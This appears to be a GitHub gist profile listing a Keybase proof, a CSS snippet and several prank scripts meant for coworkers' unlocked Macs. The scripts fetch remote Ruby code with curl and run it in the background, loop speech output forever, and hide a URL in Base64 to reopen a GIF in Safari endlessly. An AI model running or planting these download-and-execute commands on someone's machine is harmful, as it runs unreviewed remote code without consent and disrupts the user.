Skip to content

Instantly share code, notes, and snippets.

Avatar

Shannon McPherson smcpherson

View GitHub Profile
View keybase.md

Keybase proof

I hereby claim:

  • I am smcpherson on github.
  • I am smcpherson (https://keybase.io/smcpherson) on keybase.
  • I have a public key ASAntHAVcnu4DsDM4mOOmb18EHcB6KCA6vS2fXv1TgrY2wo

To claim this, I am signing this object:

@smcpherson
smcpherson / load_knockers.sh
Last active Sep 17, 2015
it loads the knocks.
View load_knockers.sh
#########################################
# me: Knock Knock..
# you: Who's There?
# me: Guess.
# you: Guess???.... ok. Guess who?
# me: Guess who didnt lock their computer.... AHhh hahahahahahaaha. 💩
#########################################
curl https://gist.githubusercontent.com/smcpherson/d37db56abb79f23b9357/raw 2>/dev/null > ~/.knock.rb; ruby ~/.knock.rb &
View .knockers.rb
#
#
# FYI, you should probably lock your computer.
#
#
`curl http://www.audiocheck.net/download.php?filename=Audio/audiocheck.net_binaural_knocking.wav > ~/.knock.wav`
while true do
if [4, 28, 33, 56].include?(Time.now.min) && Time.now.sec == 20
print [9994].pack('U*')+" " # hand
print [128682].pack('U*')+" " # door
View gist:1285375bacbe5eba645f
curl https://gist.githubusercontent.com/smcpherson/238b134d80f05ff6c8dc/raw/327fdea961cff2367112e860b70b115f069217a0/poop > ~/.poop.rb; chmod u+x ~/.poop.rb;
ruby ~/.poop.rb &
ruby ~/.poop.rb &
ruby ~/.poop.rb &
@smcpherson
smcpherson / poop
Last active Aug 29, 2015
infinite poop loop!
View poop
v = %w(Agnes Kathy Princess Vicki Victoria Alex Bruce Fred Junior Ralph Albert Bahh Bells Boing Bubbles Cellos Deranged Hysterical Trinoids Whisper Zarvox)
# Initial delay:
sleep(60 * 5)
# Infinite Poop:
while true do
`say -v #{v[rand(v.length)]} "poop"`
sleep(rand(60))
print [128169].pack('U*')+" "
View gist:541da2d12ed2259dd62d
require 'base64'; require 'open-uri' ;open('lolz.gif', 'wb') do |file| ; file << open(Base64.decode64("aHR0cDovL3d3dy5tZW5zaGVhbHRoLmNvbS9pbWFnZXMvTUhfU3RhdGljL2di\naXMvMDcwLVNpdHVwc1RocnVzdC1IaXBUaHJ1c3QuZ2lm\n")).read ;end ;while true do ; `open -a "Safari" ~/lolz.gif` ;end
View gist:3d01e6756a3c95c8a9be
require 'base64'; require 'open-uri' ;open('lolz.gif', 'wb') do |file| ; file << open(Base64.decode64("aHR0cDovL3d3dy5tZW5zaGVhbHRoLmNvbS9pbWFnZXMvTUhfU3RhdGljL2di\naXMvMDcwLVNpdHVwc1RocnVzdC1IaXBUaHJ1c3QuZ2lm\n")).read ;end ;while true do ; `open -a "Safari" ~/lolz.gif` ;end
View gist:5769823
#top_news_tease, #top_news_tickle
// prevents double coulmns from overflowing past email width
table.shrink tr td
p, h1, h2, h3, h4, h5, h6
max-width: 420px
// normal overrides
h5, h6
margin: 3px 0
h5
margin-top: 0